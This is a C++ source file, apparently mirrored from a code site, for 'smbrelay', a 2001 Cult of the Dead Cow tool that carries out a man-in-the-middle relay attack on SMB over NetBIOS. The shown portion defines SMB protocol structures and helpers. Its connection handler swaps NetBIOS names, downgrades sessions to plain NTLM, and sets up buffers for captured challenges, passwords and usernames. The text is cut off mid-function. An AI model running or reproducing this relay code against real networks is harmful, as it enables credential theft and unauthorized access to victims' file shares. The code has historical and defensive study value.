www.pudn.com > smbrelay.zip > smbrelay.cpp


// smbrelay.cpp : TCP (NetBT) level SMB man-in-the-middle relay attack 
//  Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com 
 
#pragma comment(lib, "wsock32.lib") 
#pragma comment(lib, "iphlpapi.lib") 
 
#include  
#include  
#include  
 
#include  
#include  
#include  
#include  
#include  
 
 
#pragma pack(1) 
 
 
 
 
#define GETSOCKETERROR WSAGetLastError 
 
BOOL g_bQuit = FALSE; 
 
int g_DebugLevel = 0; 
 
DWORD g_LocalInterfaceNumber = 0; 
DWORD g_RelayInterfaceNumber = 1; 
 
char g_SourceName[16] = "CDC4EVER"; 
 
 
DWORD g_LocalIP = INADDR_NONE; 
BOOL g_bAddLocalIP = FALSE; 
WORD g_LocalPort = 139; 
 
 
DWORD g_RelayStartIP = MAKELONG( MAKEWORD(192, 1), MAKEWORD(1, 1) ); 
BOOL g_bAddRelayIP = TRUE; 
 
DWORD ConnectedList[1024]; 
DWORD ConnectedSize = 0; 
 
 
 
#define SMBMAGICVAL	MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') ) 
 
#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 
 
#define CREATEDIRECTORYNAME "0wn3d by cDc" 
 
#define SERVERDOMAINNAME	"PEE" 
 
#define SMBENCRYPTIONKEYLEN 8 
 
 
 
// The original MSNET SMB protocol (otherwise known as the "core protocol") 
#define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0"  
// Some versions of the original MSNET defined this as an alternate to the core protocol name 
#define LANMANDIALECT_PCLAN10 "PCLAN1.0"  
// This is used for the MS-NET 1.03 product.  It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write. 
#define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03"  
// This is the  DOS LANMAN 1.0 specific protocol.  It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error. 
#define LANMANDIALECT_MICROSOFTNETWORKS30  "MICROSOFT NETWORKS 3.0"  
// This is the first version of the full LANMAN 1.0 protocol 
#define LANMANDIALECT_LANMAN10 "LANMAN1.0" 
// This is the first version of the full LANMAN 2.0 protocol 
#define LANMANDIALECT_LM12X002 "LM1.2X002" 
// This is the DOS equivalent of the LM1.2X002 protocol.  It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors. 
#define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002" 
// DOS LANMAN2.1 
#define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1" 
// OS/2 LANMAN2.1 
#define LANMANDIALECT_LANMAN21 "LANMAN2.1" 
// Windows for Workgroups Version 1.0 
#define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a" 
// The SMB protocol designed for NT networking.  This has special SMBs which duplicate the NT semantics. 
#define LANMANDIALECT_NTLM012 "NT LM 0.12" 
 
 
typedef struct { 
	BYTE Type;			// Type of packet 
	BYTE Flags;			// flags (length extension flag is all that's used) 
	WORD Length;		// Length of additional data 
//	WORD Padding;		// additional frame padding?? 
} NBSESSIONHEADER, *PNBSESSIONHEADER; 
 
 
typedef struct { 
	DWORD MagicVal; 
	BYTE Command; 
	union  
	{ 
		struct  
		{ 
			BYTE ErrorClass; 
			BYTE Reserved; 
			WORD ErrorCode; 
		}; 
		DWORD NTError; 
	}; 
	// flags field 
	BYTE bLockAndReadWriteAndUnlock:1; 
	BYTE bSendWithoutAck:1; 
	BYTE bReservedBit:1; 
	BYTE bNoCaseSensitivePaths:1; 
	BYTE bCanonicalizedPaths:1; 
	BYTE bOpportunisticLocks:1; 
	BYTE bChangeNotify:1; 
	BYTE bResponse:1; 
	// 2nd flags field 
	BYTE bLongFilenames:1; 
	BYTE bExtendedAttributes:1; 
	BYTE bFlags2IsLongName:1; 
	BYTE bUnknown1:1; 
	BYTE bUnknown2:1; 
	BYTE bUnknown3:1; //*** 
	BYTE bUnknown4:1; 
	BYTE bUnknown5:1; //*** 
 
	BYTE bUnknown6:1; 
	BYTE bUnknown7:1; 
	BYTE bUnknown8:1; 
	BYTE bExtendedSecurity:1; 
	BYTE bResolveViaDFS:1; 
	BYTE bReadGrantedWithExecPerms:1; 
	BYTE bNTErrorCodes:1; 
	BYTE bUnicodeStrings:1; 
 
	WORD PID; 
	DWORD HdrReserved; 
	WORD SessionID; 
	WORD SequenceNumber; 
 
 
	BYTE Padding[2]; 
	WORD TreeID; 
	WORD CallersProcess; 
	WORD UserID; 
	WORD MultiplexID; 
} SMBHEADER, *PSMBHEADER; 
 
 
typedef struct { 
	BYTE Len;		// should be 17 
	WORD DialectIndex; 
	BYTE bUserLevelSecurity:1; 
	BYTE bEncryptPasswords:1; 
	BYTE bSecuritySignaturesEnabled:1; 
	BYTE bSecuritySignaturesRequired:1; 
	BYTE bReserved:4; 
	WORD MaxPendingMpxRequests; 
	WORD MaxVCsInClientAndServer; 
	DWORD MaxTransmitBufferSize; 
	DWORD MaxRawBufferSize; 
	DWORD UniqueSessionKey; 
	BYTE bReadAndWriteRawMode:1; 
	BYTE bReadAndWriteMultiplexMode:1; 
	BYTE bUnicode:1; 
	BYTE bLargeFiles:1; 
	BYTE bNTLM012Dialect:1; 
	BYTE bRAPIviaRPC:1; 
	BYTE bNT32BitStatus:1; 
	BYTE bLevelIIOplocks:1; 
 
	BYTE bLOCK_AND_READ_Command:1; 
	BYTE bNT_FIND_SBM_Command:1; 
	BYTE Unused1:2; 
	BYTE bDFSAware:1; 
	BYTE Unused2:3; 
 
	BYTE Unused3; 
 
	BYTE Unused4:5; 
	BYTE bBulkTransfer:1; 
	BYTE bCompressedData:1; 
	BYTE bExtendedSecurity:1; 
 
	DWORD SystemDate; 
	DWORD SystemTime; 
	WORD TimeZone; 
	BYTE EncryptionKeyLen; 
	WORD ByteCount; 
} SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER; 
 
#define SMBDIALECTSELECTHEADER_LEN			17 
 
 
 
typedef struct  
{ 
	BYTE Len;	// should be 10 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD MaxBufferSize; 
	WORD MaxMpxCount; 
	WORD VcNumber;	// 0 = first (only), nonzero=additional VC number 
	DWORD SessionKey; 
	WORD PasswordLen; 
	DWORD Reserved; 
	WORD ByteCount; 
} SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER; 
 
#define SESSION_SETUP_ANDHEADER_LEN 10 
 
 
 
typedef struct  
{ 
	BYTE Len;	// should be 13 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD MaxBufferSize; 
	WORD MaxMpxCount; 
	WORD VcNumber;	// 0 = first (only), nonzero=additional VC number 
	DWORD SessionKey; 
	WORD CaseInsensitivePasswordLen; 
	WORD CaseSensitivePasswordLen; 
	DWORD Reserved; 
	DWORD ClientCaps; 
	WORD ByteCount; 
} SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2; 
 
#define SESSION_SETUP_ANDHEADER2_LEN 13 
 
typedef struct  
{ 
	BYTE Len;	// should be 12 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD MaxBufferSize; 
	WORD MaxMpxCount; 
	WORD VcNumber;	// 0 = first (only), nonzero=additional VC number 
	DWORD SessionKey; 
	WORD SecurityBlobLen; 
	DWORD Reserved; 
	DWORD ClientCaps; 
	WORD ByteCount; 
} SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX; 
 
#define SESSION_SETUP_ANDHEADER2EX_LEN 12 
 
typedef struct 
{ 
	BYTE Len;	// should be 3 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD Action; 
	WORD ByteCount; 
} SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER; 
// followed by 
// SZ Server native OS 
// SZ Server native LanMan 
// SZ Server primary domain 
 
#define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3 
 
typedef struct 
{ 
	BYTE Len;	// should be 4 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD Flags; 
	WORD PasswordLen; 
	WORD ByteCount; 
} TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER; 
 
#define TREE_CONNECT_ANDHEADER_LEN 4 
 
 
typedef struct 
{ 
	BYTE Len;	// should be 3 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD OptionalSupport; 
	WORD ByteCount; 
} TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER; 
// followed by 
// SZ Servicetype connected to 
// SZ NativeFileSystem 
 
#define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3 
 
 
typedef struct  
{ 
	BYTE Len;	// should be 24 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	BYTE Reserved; 
	WORD NameLength; 
	DWORD Flags; 
	DWORD RootDirectoryFid; 
	DWORD AccessMask; 
	LARGE_INTEGER AllocationSize; 
	DWORD ExtFileAttributes; 
	DWORD ShareAccess; 
	DWORD CreateDisposition; 
	DWORD CreateOptions; 
	DWORD ImpersonationLevel; 
	BYTE SecurityFlags; 
	WORD ByteCount; 
} NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER; 
 
#define NT_CREATE_ANDHEADER_LEN 24 
 
#define TYPE_SESSION_MESSAGE			0x00 
#define TYPE_SESSION_REQUEST			0x81 
#define TYPE_POSITIVE_SESSION_RESPONSE	0x82 
#define TYPE_NEGATIVE_SESSION_RESPONSE	0x83 
#define TYPE_RETARGET_SESSION_RESPONSE	0x84 
#define TYPE_SESSION_KEEP_ALIVE			0x85 
 
#define SMB_COM_CREATE_DIRECTORY		0x00 
#define SMB_COM_DELETE_DIRECTORY		0x01 
#define SMB_COM_OPEN					0x02 
#define SMB_COM_CREATE					0x03 
#define SMB_COM_CLOSE					0x04  
#define SMB_COM_FLUSH					0x05  
#define SMB_COM_DELETE					0x06  
#define SMB_COM_RENAME					0x07  
#define SMB_COM_QUERY_INFORMATION		0x08  
#define SMB_COM_SET_INFORMATION			0x09  
#define SMB_COM_READ					0x0A  
#define SMB_COM_WRITE					0x0B  
#define SMB_COM_LOCK_BYTE_RANGE			0x0C  
#define SMB_COM_UNLOCK_BYTE_RANGE		0x0D  
#define SMB_COM_CREATE_TEMPORARY		0x0E  
#define SMB_COM_CREATE_NEW				0x0F  
#define SMB_COM_CHECK_DIRECTORY			0x10  
#define SMB_COM_PROCESS_EXIT			0x11  
#define SMB_COM_SEEK					0x12  
#define SMB_COM_LOCK_AND_READ			0x13  
#define SMB_COM_WRITE_AND_UNLOCK		0x14  
#define SMB_COM_READ_RAW				0x1A  
#define SMB_COM_READ_MPX				0x1B  
#define SMB_COM_READ_MPX_SECONDARY		0x1C  
#define SMB_COM_WRITE_RAW				0x1D  
#define SMB_COM_WRITE_MPX				0x1E  
#define SMB_COM_WRITE_COMPLETE			0x20  
#define SMB_COM_SET_INFORMATION2		0x22  
#define SMB_COM_QUERY_INFORMATION2		0x23  
#define SMB_COM_LOCKING_ANDX			0x24  
#define SMB_COM_TRANSACTION				0x25  
#define SMB_COM_TRANSACTION_SECONDARY	0x26  
#define SMB_COM_IOCTL					0x27  
#define SMB_COM_IOCTL_SECONDARY			0x28  
#define SMB_COM_COPY					0x29  
#define SMB_COM_MOVE					0x2A  
#define SMB_COM_ECHO					0x2B  
#define SMB_COM_WRITE_AND_CLOSE			0x2C  
#define SMB_COM_OPEN_ANDX				0x2D  
#define SMB_COM_READ_ANDX				0x2E  
#define SMB_COM_WRITE_ANDX				0x2F  
#define SMB_COM_CLOSE_AND_TREE_DISC		0x31  
#define SMB_COM_TRANSACTION2			0x32  
#define SMB_COM_TRANSACTION2_SECONDARY	0x33  
#define SMB_COM_FIND_CLOSE2				0x34  
#define SMB_COM_FIND_NOTIFY_CLOSE		0x35  
#define SMB_COM_TREE_CONNECT			0x70  
#define SMB_COM_TREE_DISCONNECT			0x71  
#define SMB_COM_NEGOTIATE               0x72 
#define SMB_COM_SESSION_SETUP_ANDX      0x73 
#define SMB_COM_LOGOFF_ANDX             0x74 
#define SMB_COM_TREE_CONNECT_ANDX       0x75 
#define SMB_COM_QUERY_INFORMATION_DISK  0x80 
#define SMB_COM_SEARCH                  0x81 
#define SMB_COM_FIND                    0x82 
#define SMB_COM_FIND_UNIQUE             0x83 
#define SMB_COM_NT_TRANSACT             0xA0 
#define SMB_COM_NT_TRANSACT_SECONDARY   0xA1 
#define SMB_COM_NT_CREATE_ANDX          0xA2 
#define SMB_COM_NT_CANCEL               0xA4 
#define SMB_COM_OPEN_PRINT_FILE         0xC0 
#define SMB_COM_WRITE_PRINT_FILE        0xC1 
#define SMB_COM_CLOSE_PRINT_FILE        0xC2 
#define SMB_COM_GET_PRINT_QUEUE         0xC3 
#define SMB_COM_READ_BULK               0xD8 
#define SMB_COM_WRITE_BULK              0xD9 
#define SMB_COM_WRITE_BULK_DATA         0xDA 
 
#define SMB_NONE						0xFF 
 
 
typedef struct 
{ 
	SOCKET		connectionsock; 
	SOCKADDR_IN sourcesockaddr; 
	int			hostcount; 
} NEWCONINFO, *PNEWCONINFO; 
 
typedef struct 
{ 
	SOCKET connectionsock; 
	SOCKET relaysock; 
	char header[sizeof(SMBHEADER) + sizeof(NBSESSIONHEADER)]; 
} RELAYCONINFO, *PRELAYCONINFO; 
 
 
const char *GetInterfaceType(DWORD Type); 
 
 
const char *StrError(DWORD err) 
{ 
	static char retbuff[1024]; 
 
	if (err == 0) 
		strcpy(retbuff, "\n"); 
	else 
		FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, retbuff, 1024, NULL); 
 
	if (strlen(retbuff) == 0) 
		strcpy(retbuff, "\n"); 
 
 
	return retbuff; 
} 
 
 
 
unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; 
 
void PrintNetBIOSName(unsigned char *name) 
{ 
	BYTE BinVal; 
	char PrintName[16]; 
	int x; 
 
	memcpy(PrintName, name, 15); 
	PrintName[15] = 0; 
 
	BinVal = name[15]; 
 
	fprintf(stdout, "%s", PrintName); 
 
	for (x = 0; x < 16 - (int)strlen(PrintName); x++) 
		fprintf(stdout, " "); 
	 
	fprintf(stdout, "<%02x>", BinVal); 
} 
 
int NetBIOSNameToString(char *dest, const BYTE *src, int PacketLeft) 
{ 
	int y; 
	static unsigned char Name[32]; 
	unsigned char UncompressedName[256]; 
	unsigned char hexbuf[3]; 
	char *ptr; 
	BYTE len; 
 
	// get length of string 
	len = *src; 
 
	if (len & 0xC0) // name pointer or other 
	{ 
		len = 0; 
		// just return last name read 
	}  
	else  
	{ 
		if (len >= PacketLeft) 
		{ 
			puts("[Short name, aborting]"); 
			return 0; 
		} 
 
		memset(UncompressedName, 0, sizeof(UncompressedName)); 
 
		memset(Name, ' ', sizeof(Name) ); 
 
		memcpy(UncompressedName, src+1, len); 
 
		for (y = 0; y < 16; y++) 
		{ 
			hexbuf[0] = hexvals[UncompressedName[y*2] - 'A']; 
			hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A']; 
			hexbuf[2] = 0; 
			Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16); 
		} 
	} 
 
	memcpy(dest, (const char *)Name , 16); 
 
	return (int)(len+2); 
} 
 
 
int StringToNetBIOSName(char *dest, const char *src, BYTE binval) 
{ 
	int x, y; 
	unsigned char Name[16]; 
	unsigned char UncompressedName[256]; 
	char hexbuf[2]; 
 
	 
	if (strcmp(src, WILDCARDNAME) == 0) 
	{ 
		// set name to all zeros 
		// for some reason Windows seems to want wildcard names to be padded 
		//   with zeros instead of spaces 
		memset(Name, 0, sizeof(Name)); 
	}  
	else  
	{ 
		// set name to all spaces 
		memset(Name, ' ', sizeof(Name)); 
	} 
 
	// get length of name 
	x = strlen(src); 
 
	// truncate at 15th char 
	if (x > 15) x = 15; 
 
	// copy up to 15 chars leaving the rest space padded 
	memcpy(Name, src, x); 
 
	// uppercase the name 
	Name[15] = 0; 
	for (y = 0; y < 15; y++) 
		Name[y] = toupper((int)Name[y]); 
 
	// set 16th binary char 
	Name[15] = binval; 
 
	UncompressedName[0] = 32; 
 
	// convert each char to hex 
	for (x = 0; x < 16; x++) 
		sprintf((char *)&UncompressedName[(x*2)+1], "%02X", (DWORD)Name[x] ); 
 
	// add 'A' to each char 
	for (x = 1; x <= 32; x++) 
	{ 
		char *ptr; 
 
		hexbuf[0] = UncompressedName[x]; 
		hexbuf[1] = 0; 
		UncompressedName[x] = 'A' + (BYTE)strtoul(hexbuf, &ptr, 16);; 
	} 
 
	UncompressedName[33] = 0; 
 
#ifdef USE_SCOPEID 
	// add SCOPE_ID  
	UncompressedName[33] = 7; 
	memcpy((char *)&UncompressedName[34], "NETBIOS", 7); 
 
	UncompressedName[41] = 3; 
	memcpy((char *)&UncompressedName[42], "COM", 3); 
#endif 
 
	// set the length 
	x = 34; 
 
	memcpy(dest, UncompressedName, x); 
 
	return x; 
} 
 
 
void PrintHexString(BYTE *src, int len) 
{ 
	int x; 
 
	if (len == 0) 
		return; 
 
	for (x = 0; x < len; x++) 
	{ 
		printf("%02X",	*src); 
 
		src++; 
	} 
 
	printf(" "); 
} 
 
const char *GetCommandType(BYTE Command) 
{ 
	static char retbuff[64]; 
	char * ret = retbuff; 
 
	switch(Command) 
	{ 
	case SMB_COM_CREATE_DIRECTORY: 
		ret = "SMB_COM_CREATE_DIRECTORY"; 
		break; 
	case SMB_COM_DELETE_DIRECTORY: 
		ret = "SMB_COM_DELETE_DIRECTORY"; 
		break; 
	case SMB_COM_OPEN: 
		ret = "SMB_COM_OPEN"; 
		break; 
	case SMB_COM_CREATE: 
		ret = "SMB_COM_CREATE"; 
		break; 
	case SMB_COM_CLOSE: 
		ret = "SMB_COM_CLOSE"; 
		break; 
	case SMB_COM_FLUSH: 
		ret = "SMB_COM_FLUSH"; 
		break; 
	case SMB_COM_DELETE: 
		ret = "SMB_COM_DELETE"; 
		break; 
	case SMB_COM_RENAME: 
		ret = "SMB_COM_RENAME"; 
		break; 
	case SMB_COM_QUERY_INFORMATION: 
		ret = "SMB_COM_QUERY_INFORMATION"; 
		break; 
	case SMB_COM_SET_INFORMATION: 
		ret = "SMB_COM_SET_INFORMATION"; 
		break; 
	case SMB_COM_READ: 
		ret = "SMB_COM_READ"; 
		break; 
	case SMB_COM_WRITE: 
		ret = "SMB_COM_WRITE"; 
		break; 
	case SMB_COM_LOCK_BYTE_RANGE: 
		ret = "SMB_COM_LOCK_BYTE_RANGE"; 
		break; 
	case SMB_COM_UNLOCK_BYTE_RANGE: 
		ret = "SMB_COM_UNLOCK_BYTE_RANGE"; 
		break; 
	case SMB_COM_CREATE_TEMPORARY: 
		ret = "SMB_COM_CREATE_TEMPORARY"; 
		break; 
	case SMB_COM_CREATE_NEW: 
		ret = "SMB_COM_CREATE_NEW"; 
		break; 
	case SMB_COM_CHECK_DIRECTORY: 
		ret = "SMB_COM_CHECK_DIRECTORY"; 
		break; 
	case SMB_COM_PROCESS_EXIT: 
		ret = "SMB_COM_PROCESS_EXIT"; 
		break; 
	case SMB_COM_SEEK: 
		ret = "SMB_COM_SEEK"; 
		break; 
	case SMB_COM_LOCK_AND_READ: 
		ret = "SMB_COM_LOCK_AND_READ"; 
		break; 
	case SMB_COM_WRITE_AND_UNLOCK: 
		ret = "SMB_COM_WRITE_AND_UNLOCK"; 
		break; 
	case SMB_COM_READ_RAW: 
		ret = "SMB_COM_READ_RAW"; 
		break; 
	case SMB_COM_READ_MPX: 
		ret = "SMB_COM_READ_MPX"; 
		break; 
	case SMB_COM_READ_MPX_SECONDARY: 
		ret = "SMB_COM_READ_MPX_SECONDARY"; 
		break; 
	case SMB_COM_WRITE_RAW: 
		ret = "SMB_COM_WRITE_RAW"; 
		break; 
	case SMB_COM_WRITE_MPX: 
		ret = "SMB_COM_WRITE_MPX"; 
		break; 
	case SMB_COM_WRITE_COMPLETE: 
		ret = "SMB_COM_WRITE_COMPLETE"; 
		break; 
	case SMB_COM_SET_INFORMATION2: 
		ret = "SMB_COM_SET_INFORMATION2"; 
		break; 
	case SMB_COM_QUERY_INFORMATION2: 
		ret = "SMB_COM_QUERY_INFORMATION2"; 
		break; 
	case SMB_COM_LOCKING_ANDX: 
		ret = "SMB_COM_LOCKING_ANDX"; 
		break; 
	case SMB_COM_TRANSACTION: 
		ret = "SMB_COM_TRANSACTION"; 
		break; 
	case SMB_COM_TRANSACTION_SECONDARY: 
		ret = "SMB_COM_TRANSACTION_SECONDARY"; 
		break; 
	case SMB_COM_IOCTL: 
		ret = "SMB_COM_IOCTL"; 
		break; 
	case SMB_COM_IOCTL_SECONDARY: 
		ret = "SMB_COM_IOCTL_SECONDARY"; 
		break; 
	case SMB_COM_COPY: 
		ret = "SMB_COM_COPY"; 
		break; 
	case SMB_COM_MOVE: 
		ret = "SMB_COM_MOVE"; 
		break; 
	case SMB_COM_ECHO: 
		ret = "SMB_COM_ECHO"; 
		break; 
	case SMB_COM_WRITE_AND_CLOSE: 
		ret = "SMB_COM_WRITE_AND_CLOSE"; 
		break; 
	case SMB_COM_OPEN_ANDX: 
		ret = "SMB_COM_OPEN_ANDX"; 
		break; 
	case SMB_COM_READ_ANDX: 
		ret = "SMB_COM_READ_ANDX"; 
		break; 
	case SMB_COM_WRITE_ANDX: 
		ret = "SMB_COM_WRITE_ANDX"; 
		break; 
	case SMB_COM_CLOSE_AND_TREE_DISC: 
		ret = "SMB_COM_CLOSE_AND_TREE_DISC"; 
		break; 
	case SMB_COM_TRANSACTION2: 
		ret = "SMB_COM_TRANSACTION2"; 
		break; 
	case SMB_COM_TRANSACTION2_SECONDARY: 
		ret = "SMB_COM_TRANSACTION2_SECONDARY"; 
		break; 
	case SMB_COM_FIND_CLOSE2: 
		ret = "SMB_COM_FIND_CLOSE2"; 
		break; 
	case SMB_COM_FIND_NOTIFY_CLOSE: 
		ret = "SMB_COM_FIND_NOTIFY_CLOSE"; 
		break; 
	case SMB_COM_TREE_CONNECT: 
		ret = "SMB_COM_TREE_CONNECT"; 
		break; 
	case SMB_COM_TREE_DISCONNECT: 
		ret = "SMB_COM_TREE_DISCONNECT"; 
		break; 
	case SMB_COM_NEGOTIATE: 
		ret = "SMB_COM_NEGOTIATE"; 
		break; 
	case SMB_COM_SESSION_SETUP_ANDX: 
		ret = "SMB_COM_SESSION_SETUP_ANDX"; 
		break; 
	case SMB_COM_LOGOFF_ANDX: 
		ret = "SMB_COM_LOGOFF_ANDX"; 
		break; 
	case SMB_COM_TREE_CONNECT_ANDX: 
		ret = "SMB_COM_TREE_CONNECT_ANDX"; 
		break; 
	case SMB_COM_QUERY_INFORMATION_DISK: 
		ret = "SMB_COM_QUERY_INFORMATION_DISK"; 
		break; 
	case SMB_COM_SEARCH: 
		ret = "SMB_COM_SEARCH"; 
		break; 
	case SMB_COM_FIND: 
		ret = "SMB_COM_FIND"; 
		break; 
	case SMB_COM_FIND_UNIQUE: 
		ret = "SMB_COM_FIND_UNIQUE"; 
		break; 
	case SMB_COM_NT_TRANSACT: 
		ret = "SMB_COM_NT_TRANSACT"; 
		break; 
	case SMB_COM_NT_TRANSACT_SECONDARY: 
		ret = "SMB_COM_NT_TRANSACT_SECONDARY"; 
		break; 
	case SMB_COM_NT_CREATE_ANDX: 
		ret = "SMB_COM_NT_CREATE_ANDX"; 
		break; 
	case SMB_COM_NT_CANCEL: 
		ret = "SMB_COM_NT_CANCEL"; 
		break; 
	case SMB_COM_OPEN_PRINT_FILE: 
		ret = "SMB_COM_OPEN_PRINT_FILE"; 
		break; 
	case SMB_COM_WRITE_PRINT_FILE: 
		ret = "SMB_COM_WRITE_PRINT_FILE"; 
		break; 
	case SMB_COM_CLOSE_PRINT_FILE: 
		ret = "SMB_COM_CLOSE_PRINT_FILE"; 
		break; 
	case SMB_COM_GET_PRINT_QUEUE: 
		ret = "SMB_COM_GET_PRINT_QUEUE"; 
		break; 
	default: 
		sprintf(retbuff, "Command 0x%02X", Command); 
		break; 
 
	} 
 
	return ret; 
} 
 
const char *GetMessageType(BYTE Type) 
{ 
	char *typeptr = "Unknown"; 
	switch (Type) 
	{ 
	case TYPE_SESSION_MESSAGE: 
		typeptr = "Session Message"; 
		break; 
	case TYPE_SESSION_REQUEST: 
		typeptr = "Session Request"; 
		break; 
	case TYPE_POSITIVE_SESSION_RESPONSE: 
		typeptr = "Positive Session Response"; 
		break; 
	case TYPE_NEGATIVE_SESSION_RESPONSE: 
		typeptr = "Negative Session Response"; 
		break; 
	case TYPE_RETARGET_SESSION_RESPONSE: 
		typeptr = "Retarget Session Response"; 
		break; 
	case TYPE_SESSION_KEEP_ALIVE: 
		typeptr = "Session Keep Alive"; 
		break; 
	} 
 
	return typeptr; 
} 
 
 
 
 
 
 
void mainconnectionhandler(void *arg) 
{ 
	SOCKET outsock, inconsock ; 
	SOCKADDR_IN sockaddr, sourcesockaddr; 
	char buff[65536]; 
	char namebuff[64]; 
	BYTE challenge[8]; 
	BYTE caseinsensitivepassword[24]; 
	BYTE casesensitivepassword[24]; 
	char username[64]; 
	char hostname[64]; 
	DWORD SessionID; 
	PNEWCONINFO pnewconinfo = (PNEWCONINFO)arg; 
	char negotiateheaders[1024]; 
	char logonandconnectheaders[1024]; 
	WORD UID; 
	int hostnumber = pnewconinfo->hostcount; 
 
	inconsock = pnewconinfo->connectionsock; 
	memcpy(&sockaddr, &pnewconinfo->sourcesockaddr, sizeof(SOCKADDR_IN)); 
	memcpy(&sourcesockaddr, &pnewconinfo->sourcesockaddr, sizeof(SOCKADDR_IN)); 
 
 
	outsock = socket(AF_INET, SOCK_STREAM, 0); 
 
	sockaddr.sin_port = htons(139); 
 
	if (connect(outsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR) 
	{ 
		printf("Unable to connect to %s:%d\n", inet_ntoa(sockaddr.sin_addr), 139); 
 
		return; 
	} 
 
 
	DWORD l = 0; 
	ioctlsocket(inconsock, FIONBIO , &l); 
 
 
	PNBSESSIONHEADER pnbsessionheader = (PNBSESSIONHEADER)buff; 
	PSMBHEADER psmbheader = (PSMBHEADER)(pnbsessionheader + 1); 
	PSMBDIALECTSELECTHEADER pdialectselectheader = (PSMBDIALECTSELECTHEADER)(psmbheader+1); 
	PSESSION_SETUP_ANDHEADER psessionsetupand = (PSESSION_SETUP_ANDHEADER)(psmbheader+1); 
	PSESSION_SETUP_ANDHEADER2 psessionsetupand2 = (PSESSION_SETUP_ANDHEADER2)(psmbheader+1); 
	PSESSION_SETUP_ANDHEADER2EX psessionsetupand2ex = ( PSESSION_SETUP_ANDHEADER2EX)(psmbheader+1); 
	PSESSION_SETUP_ANDRESPONSEHEADER psessionsetupandresponse = (PSESSION_SETUP_ANDRESPONSEHEADER)(psmbheader + 1); 
 
	PTREE_CONNECT_ANDHEADER ptreeconnectand = (PTREE_CONNECT_ANDHEADER)(psmbheader+1); 
 
	BOOL bConnected = FALSE; 
	BOOL bContinue = TRUE; 
	int x = 0; 
	 
	while (bContinue && !bConnected && !g_bQuit) 
	{ 
		x = recv(inconsock, buff, sizeof(buff), 0); 
 
		if (x < 1) 
		{ 
			printf("Error receiving data from incoming connection\n"); 
			return; 
		} 
 
		printf("Request type: %s  %d bytes\n", GetMessageType(pnbsessionheader->Type), x); 
 
		switch (pnbsessionheader->Type) 
		{ 
		case TYPE_SESSION_REQUEST: 
			NetBIOSNameToString(namebuff, (BYTE *)buff + 38, x - 38); 
 
			printf("Source name: "); 
 
			PrintNetBIOSName((BYTE *)namebuff); 
 
			memcpy(hostname, namebuff, 15); 
 
			hostname[15] = 0; 
 
			{ 
				char *ptr = &hostname[14]; 
 
				while (*ptr == ' ') 
				{ 
					*ptr = 0; 
					ptr--; 
				} 
			} 
 
			NetBIOSNameToString(namebuff, (BYTE *)buff + 4, x - 4); 
 
			printf("\nTarget name: "); 
 
			PrintNetBIOSName((BYTE *)namebuff); 
 
			printf("\nSetting target name to source name and source name to '%s'...\n", g_SourceName); 
 
 
			// could also fill in *SMBSERVER here 
 
			// copy source name to target name 
			memcpy(buff + 4, buff + 38, 34); 
 
 
			// change service value to server (0x20) 
			memcpy(buff + 35, "CA", 2); 
 
			// convert name string to netbios name format 
			StringToNetBIOSName(namebuff, g_SourceName, 20); 
 
			// copy our source name to packet 
			memcpy(buff + 38, namebuff, 34); 
 
			break; 
		case TYPE_SESSION_MESSAGE: 
			if (psmbheader->MagicVal == SMBMAGICVAL) 
			{ 
				printf("%s\n", GetCommandType(psmbheader->Command) ); 
 
				// Downgrade security yo NTLM 
				psmbheader->bExtendedSecurity = FALSE; 
				psmbheader->bNTErrorCodes = FALSE; 
//				psmbheader->bUnicodeStrings = FALSE; 
				psmbheader->bFlags2IsLongName = FALSE; 
 
 
			switch (psmbheader->Command) 
			{ 
			case SMB_COM_NEGOTIATE: 
				// set to NT style connection (no extended security) 
				psmbheader->bUnicodeStrings = FALSE; 
				psmbheader->bNTErrorCodes = FALSE; 
				psmbheader->bUnknown1 = FALSE; 
				psmbheader->bUnknown2 = FALSE; 
				psmbheader->bUnknown3 = FALSE; 
				psmbheader->bUnknown4 = FALSE; 
				psmbheader->bUnknown5 = FALSE; 
				psmbheader->bUnknown6 = FALSE; 
				psmbheader->bUnknown7 = FALSE; 
				psmbheader->bUnknown8 = FALSE; 
				psmbheader->bExtendedSecurity = FALSE; 
 
				break; 
